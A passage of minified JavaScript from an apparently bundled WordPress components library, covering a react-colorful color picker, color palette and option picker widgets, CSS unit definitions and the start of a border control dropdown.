t=e.s,n=e.v,r=e.a,o=(200-t)*n/100;return{h:kC(e.h),s:kC(o>0&&o<200?t*n/100/(o<=100?o:200-o)*100:0),l:kC(o/2),a:kC(r,2)}}),EC=function(e){var t=jC(e);return"hsl("+t.h+", "+t.s+"%, "+t.l+"%)"},PC=function(e){var t=jC(e);return"hsla("+t.h+", "+t.s+"%, "+t.l+"%, "+t.a+")"},NC=function(e){var t=e.h,n=e.s,r=e.v,o=e.a;t=t/360*6,n/=100,r/=100;var i=Math.floor(t),s=r*(1-n),a=r*(1-(t-i)*n),l=r*(1-(1-t+i)*n),c=i%6;return{r:kC(255*[r,a,s,s,l,r][c]),g:kC(255*[l,r,r,a,s,s][c]),b:kC(255*[s,s,l,r,r,a][c]),a:kC(o,2)}},TC=function(e){var t=/rgba?\(?\s*(-?\d*\.?\d+)(%)?[,\s]+(-?\d*\.?\d+)(%)?[,\s]+(-?\d*\.?\d+)(%)?,?\s*[/\s]*(-?\d*\.?\d+)?(%)?\s*\)?/i.exec(e);return t?RC({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):{h:0,s:0,v:0,a:1}},IC=TC,RC=function(e){var t=e.r,n=e.g,r=e.b,o=e.a,i=Math.max(t,n,r),s=i-Math.min(t,n,r),a=s?i===t?(n-r)/s:i===n?2+(r-t)/s:4+(t-n)/s:0;return{h:kC(60*(a<0?a+6:a)),s:kC(i?s/i*100:0),v:kC(i/255*100),a:o}},MC=B.memo((function(e){var t=e.hue,n=e.onChange,r=SC(["react-colorful__hue",e.className]);return B.createElement("div",{className:r},B.createElement(_C,{onMove:function(e){n({h:360*e.left})},onKey:function(e){n({h:vC(t+360*e.left,0,360)})},"aria-label":"Hue","aria-valuenow":kC(t),"aria-valuemax":"360","aria-valuemin":"0"},B.createElement(CC,{className:"react-colorful__hue-pointer",left:t/360,color:EC({h:t,s:100,v:100,a:1})})))})),AC=B.memo((function(e){var t=e.hsva,n=e.onChange,r={backgroundColor:EC({h:t.h,s:100,v:100,a:1})};return B.createElement("div",{className:"react-colorful__saturation",style:r},B.createElement(_C,{onMove:function(e){n({s:100*e.left,v:100-100*e.top})},onKey:function(e){n({s:vC(t.s+100*e.left,0,100),v:vC(t.v-100*e.top,0,100)})},"aria-label":"Color","aria-valuetext":"Saturation "+kC(t.s)+"%, Brightness "+kC(t.v)+"%"},B.createElement(CC,{className:"react-colorful__saturation-pointer",top:1-t.v/100,left:t.s/100,color:EC(t)})))})),DC=function(e,t){if(e===t)return!0;for(var n in e)if(e[n]!==t[n])return!1;return!0},zC=function(e,t){return e.replace(/\s/g,"")===t.replace(/\s/g,"")};function OC(e,t,n){var r=gC(n),o=(0,B.useState)((function(){return e.toHsva(t)})),i=o[0],s=o[1],a=(0,B.useRef)({color:t,hsva:i});(0,B.useEffect)((function(){if(!e.equal(t,a.current.color)){var n=e.toHsva(t);a.current={hsva:n,color:t},s(n)}}),[t,e]),(0,B.useEffect)((function(){var t;DC(i,a.current.hsva)||e.equal(t=e.fromHsva(i),a.current.color)||(a.current={hsva:i,color:t},r(t))}),[i,e,r]);var l=(0,B.useCallback)((function(e){s((function(t){return Object.assign({},t,e)}))}),[]);return[i,l]}var LC,FC="undefined"!=typeof window?B.useLayoutEffect:B.useEffect,BC=new Map,VC=function(e){FC((function(){var t=e.current?e.current.ownerDocument:document;if(void 0!==t&&!BC.has(t)){var n=t.createElement("style");n.innerHTML='.react-colorful{position:relative;display:flex;flex-direction:column;width:200px;height:200px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.react-colorful__saturation{position:relative;flex-grow:1;border-color:transparent;border-bottom:12px solid #000;border-radius:8px 8px 0 0;background-image:linear-gradient(0deg,#000,transparent),linear-gradient(90deg,#fff,hsla(0,0%,100%,0))}.react-colorful__alpha-gradient,.react-colorful__pointer-fill{content:"";position:absolute;left:0;top:0;right:0;bottom:0;pointer-events:none;border-radius:inherit}.react-colorful__alpha-gradient,.react-colorful__saturation{box-shadow:inset 0 0 0 1px rgba(0,0,0,.05)}.react-colorful__alpha,.react-colorful__hue{position:relative;height:24px}.react-colorful__hue{background:linear-gradient(90deg,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red)}.react-colorful__last-control{border-radius:0 0 8px 8px}.react-colorful__interactive{position:absolute;left:0;top:0;right:0;bottom:0;border-radius:inherit;outline:none;touch-action:none}.react-colorful__pointer{position:absolute;z-index:1;box-sizing:border-box;width:28px;height:28px;transform:translate(-50%,-50%);background-color:#fff;border:2px solid #fff;border-radius:50%;box-shadow:0 2px 4px rgba(0,0,0,.2)}.react-colorful__interactive:focus .react-colorful__pointer{transform:translate(-50%,-50%) scale(1.1)}.react-colorful__alpha,.react-colorful__alpha-pointer{background-color:#fff;background-image:url(\'data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill-opacity=".05"><path d="M8 0h8v8H8zM0 8h8v8H0z"/></svg>\')}.react-colorful__saturation-pointer{z-index:3}.react-colorful__hue-pointer{z-index:2}',BC.set(t,n);var r=LC||o.nc;r&&n.setAttribute("nonce",r),t.head.appendChild(n)}}),[])},$C=function(e){var t=e.className,n=e.colorModel,r=e.color,o=void 0===r?n.defaultColor:r,i=e.onChange,s=mC(e,["className","colorModel","color","onChange"]),a=(0,B.useRef)(null);VC(a);var l=OC(n,o,i),c=l[0],u=l[1],d=SC(["react-colorful",t]);return B.createElement("div",hC({},s,{ref:a,className:d}),B.createElement(AC,{hsva:c,onChange:u}),B.createElement(MC,{hue:c.h,onChange:u,className:"react-colorful__last-control"}))},HC=function(e){var t=e.className,n=e.hsva,r=e.onChange,o={backgroundImage:"linear-gradient(90deg, "+PC(Object.assign({},n,{a:0}))+", "+PC(Object.assign({},n,{a:1}))+")"},i=SC(["react-colorful__alpha",t]),s=kC(100*n.a);return B.createElement("div",{className:i},B.createElement("div",{className:"react-colorful__alpha-gradient",style:o}),B.createElement(_C,{onMove:function(e){r({a:e.left})},onKey:function(e){r({a:vC(n.a+e.left)})},"aria-label":"Alpha","aria-valuetext":s+"%","aria-valuenow":s,"aria-valuemin":"0","aria-valuemax":"100"},B.createElement(CC,{className:"react-colorful__alpha-pointer",left:n.a,color:PC(n)})))},WC=function(e){var t=e.className,n=e.colorModel,r=e.color,o=void 0===r?n.defaultColor:r,i=e.onChange,s=mC(e,["className","colorModel","color","onChange"]),a=(0,B.useRef)(null);VC(a);var l=OC(n,o,i),c=l[0],u=l[1],d=SC(["react-colorful",t]);return B.createElement("div",hC({},s,{ref:a,className:d}),B.createElement(AC,{hsva:c,onChange:u}),B.createElement(MC,{hue:c.h,onChange:u}),B.createElement(HC,{hsva:c,onChange:u,className:"react-colorful__last-control"}))},UC={defaultColor:"rgba(0, 0, 0, 1)",toHsva:TC,fromHsva:function(e){var t=NC(e);return"rgba("+t.r+", "+t.g+", "+t.b+", "+t.a+")"},equal:zC},GC=function(e){return B.createElement(WC,hC({},e,{colorModel:UC}))},KC={defaultColor:"rgb(0, 0, 0)",toHsva:IC,fromHsva:function(e){var t=NC(e);return"rgb("+t.r+", "+t.g+", "+t.b+")"},equal:zC},qC=function(e){return B.createElement($C,hC({},e,{colorModel:KC}))};const YC=({color:e,enableAlpha:t,onChange:n})=>{const r=t?GC:qC,o=(0,c.useMemo)((()=>e.toRgbString()),[e]);return(0,_t.jsx)(r,{color:o,onChange:e=>{n(yv(e))},onPointerDown:({currentTarget:e,pointerId:t})=>{e.setPointerCapture(t)},onPointerUp:({currentTarget:e,pointerId:t})=>{e.releasePointerCapture(t)}})};_v([Sv]);const XC=[{label:"RGB",value:"rgb"},{label:"HSL",value:"hsl"},{label:"Hex",value:"hex"}],ZC=al(((e,t)=>{const{enableAlpha:n=!1,color:r,onChange:o,defaultValue:i="#fff",copyFormat:s,...u}=sl(e,"ColorPicker"),[d,p]=f_({onChange:o,value:r,defaultValue:i}),f=(0,c.useMemo)((()=>yv(d||"")),[d]),h=(0,l.useDebounce)(p),m=(0,c.useCallback)((e=>{h(e.toHex())}),[h]),[g,v]=(0,c.useState)(s||"hex");return(0,_t.jsxs)(iC,{ref:t,...u,children:[(0,_t.jsx)(YC,{onChange:m,color:f,enableAlpha:n}),(0,_t.jsxs)(nC,{children:[(0,_t.jsxs)(rC,{justify:"space-between",children:[(0,_t.jsx)(JS,{__nextHasNoMarginBottom:!0,size:"compact",options:XC,value:g,onChange:e=>v(e),label:(0,a.__)("Color format"),hideLabelFromVision:!0,variant:"minimal"}),(0,_t.jsx)(aC,{color:f,colorType:s||g})]}),(0,_t.jsx)(oC,{direction:"column",gap:2,children:(0,_t.jsx)(fC,{colorType:g,color:f,onChange:m,enableAlpha:n})})]})]})}),"ColorPicker"),QC=ZC;function JC(e){if(void 0!==e)return"string"==typeof e?e:e.hex?e.hex:void 0}const ek=Es((e=>{const t=yv(e),n=t.toHex(),r=t.toRgb(),o=t.toHsv(),i=t.toHsl();return{hex:n,rgb:r,hsv:o,hsl:i,source:"hex",oldHue:i.h}}));function tk(e){const{onChangeComplete:t}=e,n=(0,c.useCallback)((e=>{t(ek(e))}),[t]);return function(e){return void 0!==e.onChangeComplete||void 0!==e.disableAlpha||"string"==typeof e.color?.hex}(e)?{color:JC(e.color),enableAlpha:!e.disableAlpha,onChange:n}:{...e,color:e.color,enableAlpha:e.enableAlpha,onChange:e.onChange}}const nk=e=>(0,_t.jsx)(QC,{...tk(e)}),rk=(0,c.createContext)({}),ok=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})});const ik=(0,c.forwardRef)((function(e,t){const{isPressed:n,label:r,...o}=e;return(0,_t.jsx)(Jx,{...o,"aria-pressed":n,ref:t,label:r})}));const sk=(0,c.forwardRef)((function(e,t){const{id:n,isSelected:r,label:o,...i}=e,{setActiveId:s,activeId:a}=(0,c.useContext)(rk);return(0,c.useEffect)((()=>{r&&!a&&window.setTimeout((()=>s?.(n)),0)}),[r,s,a,n]),(0,_t.jsx)(Gn.Item,{render:(0,_t.jsx)(Jx,{...i,role:"option","aria-selected":!!r,ref:t,label:o}),id:n})}));function ak(e){const{actions:t,options:n,baseId:r,className:o,loop:i=!0,children:s,...l}=e,[u,d]=(0,c.useState)(void 0),p=(0,c.useMemo)((()=>({baseId:r,activeId:u,setActiveId:d})),[r,u,d]);return(0,_t.jsx)("div",{className:o,children:(0,_t.jsxs)(rk.Provider,{value:p,children:[(0,_t.jsx)(Gn,{...l,id:r,focusLoop:i,rtl:(0,a.isRTL)(),role:"listbox",activeId:u,setActiveId:d,children:n}),s,t]})})}function lk(e){const{actions:t,options:n,children:r,baseId:o,...i}=e,s=(0,c.useMemo)((()=>({baseId:o})),[o]);return(0,_t.jsx)("div",{...i,role:"group",id:o,children:(0,_t.jsxs)(rk.Provider,{value:s,children:[n,r,t]})})}function ck(e){const{asButtons:t,actions:n,options:r,children:o,className:i,...a}=e,c=(0,l.useInstanceId)(ck,"components-circular-option-picker",a.id),u=t?lk:ak,d=n?(0,_t.jsx)("div",{className:"components-circular-option-picker__custom-clear-wrapper",children:n}):void 0,p=(0,_t.jsx)("div",{className:"components-circular-option-picker__swatches",children:r});return(0,_t.jsx)(u,{...a,baseId:c,className:s("components-circular-option-picker",i),actions:d,options:p,children:o})}ck.Option=function e({className:t,isSelected:n,selectedIconProps:r={},tooltipText:o,...i}){const{baseId:a,setActiveId:u}=(0,c.useContext)(rk),d={id:(0,l.useInstanceId)(e,a||"components-circular-option-picker__option"),className:"components-circular-option-picker__option",__next40pxDefaultSize:!0,...i},p=void 0!==u?(0,_t.jsx)(sk,{...d,label:o,isSelected:n}):(0,_t.jsx)(ik,{...d,label:o,isPressed:n});return(0,_t.jsxs)("div",{className:s(t,"components-circular-option-picker__option-wrapper"),children:[p,n&&(0,_t.jsx)(oS,{icon:ok,...r})]})},ck.OptionGroup=function({className:e,options:t,...n}){const r="aria-label"in n||"aria-labelledby"in n?"group":void 0;return(0,_t.jsx)("div",{...n,role:r,className:s("components-circular-option-picker__option-group","components-circular-option-picker__swatches",e),children:t})},ck.ButtonAction=function({className:e,children:t,...n}){return(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,className:s("components-circular-option-picker__clear",e),variant:"tertiary",...n,children:t})},ck.DropdownLinkAction=function({buttonProps:e,className:t,dropdownProps:n,linkText:r}){return(0,_t.jsx)(W_,{className:s("components-circular-option-picker__dropdown-link-action",t),renderToggle:({isOpen:t,onToggle:n})=>(0,_t.jsx)(Jx,{"aria-expanded":t,"aria-haspopup":"true",onClick:n,variant:"link",...e,children:r}),...n})};const uk=ck;function dk(e,t,n,r){return{metaProps:e?{asButtons:!0}:{asButtons:!1,loop:t},labelProps:{"aria-labelledby":r,"aria-label":r?void 0:n||(0,a.__)("Custom color picker")}}}const pk=al((function(e,t){const n=function(e){const{expanded:t=!1,alignment:n="stretch",...r}=sl(e,"VStack");return py({direction:"column",expanded:t,alignment:n,...r})}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"VStack");const fk=al((function(e,t){const n=Kg(e);return(0,_t.jsx)(_l,{as:"span",...n,ref:t})}),"Truncate");const hk=al((function(e,t){const n=function(e){const{as:t,level:n=2,color:r=zl.theme.foreground,isBlock:o=!0,weight:i=Fl.fontWeightHeading,...s}=sl(e,"Heading"),a=t||`h${n}`,l={};return"string"==typeof a&&"h"!==a[0]&&(l.role="heading",l["aria-level"]="string"==typeof n?parseInt(n):n),{...Vv({color:r,isBlock:o,weight:i,size:Fv(n),...s}),...l,as:a}}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Heading"),mk=hk;const gk=yl(mk,{target:"ev9wop70"})({name:"13lxv2o",styles:"text-transform:uppercase;line-height:24px;font-weight:500;&&&{font-size:11px;margin-bottom:0;}"}),vk=({paddingSize:e="small"})=>{if("none"===e)return;const t={small:Il(2),medium:Il(4)};return Nl("padding:",t[e]||t.small,";","")},bk=yl("div",{target:"eovvns30"})("margin-left:",Il(-2),";margin-right:",Il(-2),";&:first-of-type{margin-top:",Il(-2),";}&:last-of-type{margin-bottom:",Il(-2),";}",vk,";");const xk=al((function(e,t){const{paddingSize:n="small",...r}=sl(e,"DropdownContentWrapper");return(0,_t.jsx)(bk,{...r,paddingSize:n,ref:t})}),"DropdownContentWrapper");_v([Sv,$_]);const yk=e=>{const t=/var\(/.test(null!=e?e:""),n=/color-mix\(/.test(null!=e?e:"");return!t&&!n},wk=e=>e.length>0&&e.every((e=>{return t=e,Array.isArray(t.colors)&&!("color"in t);var t}));function _k({className:e,clearColor:t,colors:n,onChange:r,value:o,...i}){const s=(0,c.useMemo)((()=>n.map((({color:e,name:n},i)=>{const s=yv(e),l=o===e;return(0,_t.jsx)(uk.Option,{isSelected:l,selectedIconProps:l?{fill:s.contrast()>s.contrast("#000")?"#fff":"#000"}:{},tooltipText:n||(0,a.sprintf)((0,a.__)("Color code: %s"),e),style:{backgroundColor:e,color:e},onClick:l?t:()=>r(e,i)},`${e}-${i}`)}))),[n,o,r,t]);return(0,_t.jsx)(uk.OptionGroup,{className:e,options:s,...i})}function Sk({className:e,clearColor:t,colors:n,onChange:r,value:o,headingLevel:i}){const s=(0,l.useInstanceId)(Sk,"color-palette");return 0===n.length?null:(0,_t.jsx)(pk,{spacing:3,className:e,children:n.map((({name:e,colors:n},a)=>{const l=`${s}-${a}`;return(0,_t.jsxs)(pk,{spacing:2,children:[(0,_t.jsx)(gk,{id:l,level:i,children:e}),(0,_t.jsx)(_k,{clearColor:t,colors:n,onChange:e=>r(e,a),value:o,"aria-labelledby":l})]},a)}))})}function Ck({isRenderedInSidebar:e,popoverProps:t,...n}){const r=(0,c.useMemo)((()=>({shift:!0,resize:!1,...e?{placement:"left-start",offset:34}:{placement:"bottom",offset:8},...t})),[e,t]);return(0,_t.jsx)(W_,{contentClassName:"components-color-palette__custom-color-dropdown-content",popoverProps:r,...n})}_v([Sv,$_]);const kk=(0,c.forwardRef)((function(e,t){const{asButtons:n,loop:r,clearable:o=!0,colors:i=[],disableCustomColors:l=!1,enableAlpha:u=!1,onChange:d,value:p,__experimentalIsRenderedInSidebar:f=!1,headingLevel:h=2,"aria-label":m,"aria-labelledby":g,...v}=e,[b,x]=(0,c.useState)(p),y=(0,c.useCallback)((()=>d(void 0)),[d]),w=(0,c.useCallback)((e=>{x(((e,t)=>{if(!e||!t||yk(e))return e;const{ownerDocument:n}=t,{defaultView:r}=n,o=r?.getComputedStyle(t).backgroundColor;return o?yv(o).toHex():e})(p,e))}),[p]),_=wk(i),S=(0,c.useMemo)((()=>((e,t=[],n=!1)=>{if(!e)return"";const r=!!e&&yk(e),o=r?yv(e).toHex():e,i=n?t:[{colors:t}];for(const{colors:e}of i)for(const{name:t,color:n}of e)if(o===(r?yv(n).toHex():n))return t;return(0,a.__)("Custom")})(p,i,_)),[p,i,_]),C=p?.startsWith("#"),k=p?.replace(/^var\((.+)\)$/,"$1"),j=k?(0,a.sprintf)((0,a.__)('Custom color picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),S,k):(0,a.__)("Custom color picker"),E={clearColor:y,onChange:d,value:p},P=!!o&&(0,_t.jsx)(uk.ButtonAction,{onClick:y,accessibleWhenDisabled:!0,disabled:!p,children:(0,a.__)("Clear")}),{metaProps:N,labelProps:T}=dk(n,r,m,g);return(0,_t.jsxs)(pk,{spacing:3,ref:t,...v,children:[!l&&(0,_t.jsx)(Ck,{isRenderedInSidebar:f,renderContent:()=>(0,_t.jsx)(xk,{paddingSize:"none",children:(0,_t.jsx)(nk,{color:b,onChange:e=>d(e),enableAlpha:u})}),renderToggle:({isOpen:e,onToggle:t})=>(0,_t.jsxs)(pk,{className:"components-color-palette__custom-color-wrapper",spacing:0,children:[(0,_t.jsx)("button",{ref:w,className:"components-color-palette__custom-color-button","aria-expanded":e,"aria-haspopup":"true",onClick:t,"aria-label":j,style:{background:p},type:"button"}),(0,_t.jsxs)(pk,{className:"components-color-palette__custom-color-text-wrapper",spacing:.5,children:[(0,_t.jsx)(fk,{className:"components-color-palette__custom-color-name",children:p?S:(0,a.__)("No color selected")}),(0,_t.jsx)(fk,{className:s("components-color-palette__custom-color-value",{"components-color-palette__custom-color-value--is-hex":C}),children:k})]})]})}),(i.length>0||P)&&(0,_t.jsx)(uk,{...N,...T,actions:P,options:_?(0,_t.jsx)(Sk,{...E,headingLevel:h,colors:i,value:p}):(0,_t.jsx)(_k,{...E,colors:i,value:p})})]})})),jk=kk,Ek=yl(gy,{target:"e1bagdl32"})("&&&{input{display:block;width:100%;}",Kv,"{transition:box-shadow 0.1s linear;}}"),Pk=({selectSize:e})=>({small:Nl("box-sizing:border-box;padding:2px 1px;width:20px;font-size:8px;line-height:1;letter-spacing:-0.5px;text-transform:uppercase;text-align-last:center;&:not( :disabled ){color:",zl.gray[800],";}",""),default:Nl("box-sizing:border-box;min-width:24px;max-width:48px;height:24px;margin-inline-end:",Il(2),";padding:",Il(1),";font-size:13px;line-height:1;text-align-last:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;field-sizing:content;&:not( :disabled ){color:",zl.theme.accent,";}","")}[e]),Nk=yl("div",{target:"e1bagdl31"})("&&&{pointer-events:none;",Pk,";color:",zl.gray[900],";}"),Tk=({selectSize:e="default"})=>({small:Nl("height:100%;border:1px solid transparent;transition:box-shadow 0.1s linear,border 0.1s linear;",Mg({borderTopLeftRadius:0,borderBottomLeftRadius:0})()," &:not(:disabled):hover{background-color:",zl.gray[100],";}&:focus{border:1px solid ",zl.ui.borderFocus,";box-shadow:inset 0 0 0 ",Fl.borderWidth+" "+zl.ui.borderFocus,";outline-offset:0;outline:2px solid transparent;z-index:1;}",""),default:Nl("display:flex;justify-content:center;align-items:center;&:where( :not( :disabled ) ):hover{box-shadow:0 0 0 ",Fl.borderWidth+" "+zl.ui.borderFocus,";outline:",Fl.borderWidth," solid transparent;}&:focus{box-shadow:0 0 0 ",Fl.borderWidthFocus+" "+zl.ui.borderFocus,";outline:",Fl.borderWidthFocus," solid transparent;}","")}[e]),Ik=yl("select",{target:"e1bagdl30"})("&&&{appearance:none;background:transparent;border-radius:",Fl.radiusXSmall,";border:none;display:block;outline:none;margin:0;min-height:auto;font-family:inherit;",Pk,";",Tk,";&:not( :disabled ){cursor:pointer;}}");const Rk=Nl("box-shadow:inset ",Fl.controlBoxShadowFocus,";",""),Mk=Nl("border:0;padding:0;margin:0;",Rx,";",""),Ak=Nl(Ek,"{flex:0 0 auto;}",""),Dk=Nl("background:#fff;&&>button{aspect-ratio:1;padding:0;display:flex;align-items:center;justify-content:center;",Mg({borderRadius:"2px 0 0 2px"},{borderRadius:"0 2px 2px 0"})()," border:",Fl.borderWidth," solid ",zl.ui.border,";&:focus,&:hover:not( :disabled ){",Rk," border-color:",zl.ui.borderFocus,";z-index:1;position:relative;}}",""),zk=(e,t)=>{const{style:n}=e||{};return Nl("border-radius:",Fl.radiusFull,";border:2px solid transparent;",n?(e=>{const{color:t,style:n}=e||{},r=n&&"none"!==n?zl.gray[300]:void 0;return Nl("border-style:","none"===n?"solid":n,";border-color:",t||r,";","")})(e):void 0," width:","__unstable-large"===t?"24px":"22px",";height:","__unstable-large"===t?"24px":"22px",";padding:","__unstable-large"===t?"2px":"1px",";&>span{height:",Il(4),";width:",Il(4),";background:linear-gradient(\n\t\t\t\t-45deg,\n\t\t\t\ttransparent 48%,\n\t\t\t\trgb( 0 0 0 / 20% ) 48%,\n\t\t\t\trgb( 0 0 0 / 20% ) 52%,\n\t\t\t\ttransparent 52%\n\t\t\t);}","")},Ok=Nl("width:",228,"px;>div:first-of-type>",Ox,"{margin-bottom:0;}&& ",Ox,"+button:not( .has-text ){min-width:24px;padding:0;}",""),Lk=Nl("",""),Fk=Nl("",""),Bk={name:"1ghe26v",styles:"display:flex;justify-content:flex-end;margin-top:12px"},Vk="web"===c.Platform.OS,$k={px:{value:"px",label:Vk?"px":(0,a.__)("Pixels (px)"),a11yLabel:(0,a.__)("Pixels (px)"),step:1},"%":{value:"%",label:Vk?"%":(0,a.__)("Percentage (%)"),a11yLabel:(0,a.__)("Percent (%)"),step:.1},em:{value:"em",label:Vk?"em":(0,a.__)("Relative to parent font size (em)"),a11yLabel:(0,a._x)("ems","Relative to parent font size (em)"),step:.01},rem:{value:"rem",label:Vk?"rem":(0,a.__)("Relative to root font size (rem)"),a11yLabel:(0,a._x)("rems","Relative to root font size (rem)"),step:.01},vw:{value:"vw",label:Vk?"vw":(0,a.__)("Viewport width (vw)"),a11yLabel:(0,a.__)("Viewport width (vw)"),step:.1},vh:{value:"vh",label:Vk?"vh":(0,a.__)("Viewport height (vh)"),a11yLabel:(0,a.__)("Viewport height (vh)"),step:.1},vmin:{value:"vmin",label:Vk?"vmin":(0,a.__)("Viewport smallest dimension (vmin)"),a11yLabel:(0,a.__)("Viewport smallest dimension (vmin)"),step:.1},vmax:{value:"vmax",label:Vk?"vmax":(0,a.__)("Viewport largest dimension (vmax)"),a11yLabel:(0,a.__)("Viewport largest dimension (vmax)"),step:.1},ch:{value:"ch",label:Vk?"ch":(0,a.__)("Width of the zero (0) character (ch)"),a11yLabel:(0,a.__)("Width of the zero (0) character (ch)"),step:.01},ex:{value:"ex",label:Vk?"ex":(0,a.__)("x-height of the font (ex)"),a11yLabel:(0,a.__)("x-height of the font (ex)"),step:.01},cm:{value:"cm",label:Vk?"cm":(0,a.__)("Centimeters (cm)"),a11yLabel:(0,a.__)("Centimeters (cm)"),step:.001},mm:{value:"mm",label:Vk?"mm":(0,a.__)("Millimeters (mm)"),a11yLabel:(0,a.__)("Millimeters (mm)"),step:.1},in:{value:"in",label:Vk?"in":(0,a.__)("Inches (in)"),a11yLabel:(0,a.__)("Inches (in)"),step:.001},pc:{value:"pc",label:Vk?"pc":(0,a.__)("Picas (pc)"),a11yLabel:(0,a.__)("Picas (pc)"),step:1},pt:{value:"pt",label:Vk?"pt":(0,a.__)("Points (pt)"),a11yLabel:(0,a.__)("Points (pt)"),step:1},svw:{value:"svw",label:Vk?"svw":(0,a.__)("Small viewport width (svw)"),a11yLabel:(0,a.__)("Small viewport width (svw)"),step:.1},svh:{value:"svh",label:Vk?"svh":(0,a.__)("Small viewport height (svh)"),a11yLabel:(0,a.__)("Small viewport height (svh)"),step:.1},svi:{value:"svi",label:Vk?"svi":(0,a.__)("Viewport smallest size in the inline direction (svi)"),a11yLabel:(0,a.__)("Small viewport width or height (svi)"),step:.1},svb:{value:"svb",label:Vk?"svb":(0,a.__)("Viewport smallest size in the block direction (svb)"),a11yLabel:(0,a.__)("Small viewport width or height (svb)"),step:.1},svmin:{value:"svmin",label:Vk?"svmin":(0,a.__)("Small viewport smallest dimension (svmin)"),a11yLabel:(0,a.__)("Small viewport smallest dimension (svmin)"),step:.1},lvw:{value:"lvw",label:Vk?"lvw":(0,a.__)("Large viewport width (lvw)"),a11yLabel:(0,a.__)("Large viewport width (lvw)"),step:.1},lvh:{value:"lvh",label:Vk?"lvh":(0,a.__)("Large viewport height (lvh)"),a11yLabel:(0,a.__)("Large viewport height (lvh)"),step:.1},lvi:{value:"lvi",label:Vk?"lvi":(0,a.__)("Large viewport width or height (lvi)"),a11yLabel:(0,a.__)("Large viewport width or height (lvi)"),step:.1},lvb:{value:"lvb",label:Vk?"lvb":(0,a.__)("Large viewport width or height (lvb)"),a11yLabel:(0,a.__)("Large viewport width or height (lvb)"),step:.1},lvmin:{value:"lvmin",label:Vk?"lvmin":(0,a.__)("Large viewport smallest dimension (lvmin)"),a11yLabel:(0,a.__)("Large viewport smallest dimension (lvmin)"),step:.1},dvw:{value:"dvw",label:Vk?"dvw":(0,a.__)("Dynamic viewport width (dvw)"),a11yLabel:(0,a.__)("Dynamic viewport width (dvw)"),step:.1},dvh:{value:"dvh",label:Vk?"dvh":(0,a.__)("Dynamic viewport height (dvh)"),a11yLabel:(0,a.__)("Dynamic viewport height (dvh)"),step:.1},dvi:{value:"dvi",label:Vk?"dvi":(0,a.__)("Dynamic viewport width or height (dvi)"),a11yLabel:(0,a.__)("Dynamic viewport width or height (dvi)"),step:.1},dvb:{value:"dvb",label:Vk?"dvb":(0,a.__)("Dynamic viewport width or height (dvb)"),a11yLabel:(0,a.__)("Dynamic viewport width or height (dvb)"),step:.1},dvmin:{value:"dvmin",label:Vk?"dvmin":(0,a.__)("Dynamic viewport smallest dimension (dvmin)"),a11yLabel:(0,a.__)("Dynamic viewport smallest dimension (dvmin)"),step:.1},dvmax:{value:"dvmax",label:Vk?"dvmax":(0,a.__)("Dynamic viewport largest dimension (dvmax)"),a11yLabel:(0,a.__)("Dynamic viewport largest dimension (dvmax)"),step:.1},svmax:{value:"svmax",label:Vk?"svmax":(0,a.__)("Small viewport largest dimension (svmax)"),a11yLabel:(0,a.__)("Small viewport largest dimension (svmax)"),step:.1},lvmax:{value:"lvmax",label:Vk?"lvmax":(0,a.__)("Large viewport largest dimension (lvmax)"),a11yLabel:(0,a.__)("Large viewport largest dimension (lvmax)"),step:.1}},Hk=Object.values($k),Wk=[$k.px,$k["%"],$k.em,$k.rem,$k.vw,$k.vh],Uk=$k.px;function Gk(e,t,n){return qk(t?`${null!=e?e:""}${t}`:e,n)}function Kk(e){return Array.isArray(e)&&!!e.length}function qk(e,t=Hk){let n,r;if(void 0!==e||null===e){n=`${e}`.trim();const t=parseFloat(n);r=isFinite(t)?t:void 0}const o=n?.match(/[\d.\-\+]*\s*(.*)/),i=o?.[1]?.toLowerCase();let s;if(Kk(t)){const e=t.find((e=>e.value===i));s=e?.value}else s=Uk.value;return[r,s]}const Yk=({units:e=Hk,availableUnits:t=[],defaultValues:n})=>{const r=function(e=[],t){return Array.isArray(t)?t.filter((t=>e.includes(t.value))):[]}(t,e);return n&&r.forEach(((e,t)=>{if(n[e.value]){const[o]=qk(n[e.value]);r[t].default=o}})),r};const Xk=e=>e.replace(/^var\((.+)\)$/,"$1"),Zk=al(((e,t)=>{const{__experimentalIsRenderedInSidebar:n,border:r,colors:o,disableCustomColors:i,enableAlpha:s,enableStyle:l,indicatorClassName:u,indicatorWrapperClassName:d,isStyleSettable:p,onReset:f,onColorChange:h,onStyleChange:m,popoverContentClassName:g,popoverControlsClassName:v,resetButtonWrapperClassName:b,size:x,__unstablePopoverProps:y,...w}=function(e){const{border:t,className:n,colors:r=[],enableAlpha:o=!1,enableStyle:i=!0,onChange:s,previousStyleSelection:a,size:l="default",__experimentalIsRenderedInSidebar:u=!1,...d}=sl(e,"BorderControlDropdown"),[p]=qk(t?.width),f=0===p,h=il(),m=(0,c.useMemo)((()=>h(Dk,n)),[n,h]),g=(0,c.useMemo)((()=>h(Fk)),[h]),v=(0,c.useMemo)((()=>h(zk(t,l))),[t,h,l]),b=(0,c.useMemo)((()=>h(Ok)),[h]),x=(0,c.useMemo)((()=>h(Lk)),[h]),y=(0,c.useMemo)((()=>h(Bk)),[h]);return{...d,border:t,className:m,colors:r,enableAlpha:o,enableStyle:i,indicatorClassName:g,indicatorWrapperClassName:v,onColorChange:e=>{s({color:e,style:"none"===t?.style?a:t?.style,width:f&&e?"1px":t?.width})},onStyleChange:e=>{const n=f&&e?"1px":t?.width;s({...t,style:e,width:n})},onReset:()=>{s({...t,color:void 0,style:void 0})},popoverContentClassName:x,popoverControlsClassName:b,resetButtonWrapperClassName:y,size:l,__experimentalIsRenderedInSidebar:u}}(e),{color:_,style:S}=r||{},C=((e,t)=>{if(e&&t){if(wk(t)){let n;return 